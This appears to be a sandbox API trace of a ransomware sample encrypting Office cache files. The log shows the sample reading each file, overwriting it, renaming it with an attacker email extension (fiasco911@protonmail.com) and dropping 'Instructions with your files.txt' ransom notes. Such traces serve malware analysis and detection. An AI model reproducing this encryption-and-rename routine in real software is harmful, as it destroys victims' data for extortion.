[0047.047] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0047.048] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0047.048] CloseHandle (hObject=0x110) returned 1
[0047.048] GetProcessHeap () returned 0x2e0000
[0047.048] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0047.048] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0047.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0047.049] GetProcessHeap () returned 0x2e0000
[0047.049] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0047.049] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0
[0047.049] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Instructions with your files.txt") returned 108
[0047.049] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0047.050] WriteFile (in: hFile=0x110, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecee84*=0x54, lpOverlapped=0x0) returned 1
[0047.050] WriteFile (in: hFile=0x110, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecee84*=0x18, lpOverlapped=0x0) returned 1
[0047.051] WriteFile (in: hFile=0x110, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecee84*=0xc, lpOverlapped=0x0) returned 1
[0047.051] WriteFile (in: hFile=0x110, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecee84*=0x16, lpOverlapped=0x0) returned 1
[0047.051] WriteFile (in: hFile=0x110, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecee84, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecee84*=0x23, lpOverlapped=0x0) returned 1
[0047.051] CloseHandle (hObject=0x110) returned 1
[0047.051] FindClose (in: hFindFile=0x300570 | out: hFindFile=0x300570) returned 1
[0047.051] GetProcessHeap () returned 0x2e0000
[0047.051] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0047.051] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1
[0047.051] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 79
[0047.051] StrStrIW (lpFirst="Proofing.msi", lpSrch="SDfghjkl") returned 0x0
[0047.051] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0047.051] GetProcessHeap () returned 0x2e0000
[0047.051] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0047.051] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0047.053] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0047.053] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0047.053] GetProcessHeap () returned 0x2e0000
[0047.055] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0047.055] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0047.055] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0047.057] CloseHandle (hObject=0x10c) returned 1
[0047.087] GetProcessHeap () returned 0x2e0000
[0047.087] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0047.087] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0047.087] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0047.088] GetProcessHeap () returned 0x2e0000
[0047.088] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0047.088] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1
[0047.088] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 79
[0047.088] StrStrIW (lpFirst="Proofing.xml", lpSrch="SDfghjkl") returned 0x0
[0047.088] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0047.088] GetProcessHeap () returned 0x2e0000
[0047.088] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0047.088] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x32b, lpOverlapped=0x0) returned 1
[0047.956] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffcd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0047.983] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x32b, lpOverlapped=0x0) returned 1
[0047.984] GetProcessHeap () returned 0x2e0000
[0047.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0047.984] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0047.984] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0047.984] CloseHandle (hObject=0x10c) returned 1
[0047.985] GetProcessHeap () returned 0x2e0000
[0047.985] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0047.985] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0047.985] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.032] GetProcessHeap () returned 0x2e0000
[0048.033] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.047] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0048.056] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0048.060] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0048.069] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.224] GetProcessHeap () returned 0x2e0000
[0048.224] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.224] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x16fc, lpOverlapped=0x0) returned 1
[0048.227] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffe904, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.227] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x16fc, lpOverlapped=0x0) returned 1
[0048.227] GetProcessHeap () returned 0x2e0000
[0048.227] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.228] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.228] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.228] CloseHandle (hObject=0x10c) returned 1
[0048.232] GetProcessHeap () returned 0x2e0000
[0048.232] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.232] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0048.232] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.233] GetProcessHeap () returned 0x2e0000
[0048.233] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.233] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0048.233] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0048.233] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.233] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0048.234] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0048.234] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0048.234] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0048.234] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0048.234] CloseHandle (hObject=0x10c) returned 1
[0048.234] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0048.235] GetProcessHeap () returned 0x2e0000
[0048.235] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0048.235] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1
[0048.235] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned 66
[0048.235] GetProcessHeap () returned 0x2e0000
[0048.235] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0048.235] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*") returned 68
[0048.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0048.249] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.") returned 68
[0048.249] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0048.249] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.249] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0048.249] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..") returned 69
[0048.249] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0048.249] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.249] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
[0048.249] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 82
[0048.249] StrStrIW (lpFirst="Office32MUI.msi", lpSrch="SDfghjkl") returned 0x0
[0048.250] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.250] GetProcessHeap () returned 0x2e0000
[0048.250] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.250] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.253] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.253] GetProcessHeap () returned 0x2e0000
[0048.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.253] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.257] CloseHandle (hObject=0x10c) returned 1
[0048.270] GetProcessHeap () returned 0x2e0000
[0048.270] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.270] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0048.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.271] GetProcessHeap () returned 0x2e0000
[0048.271] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
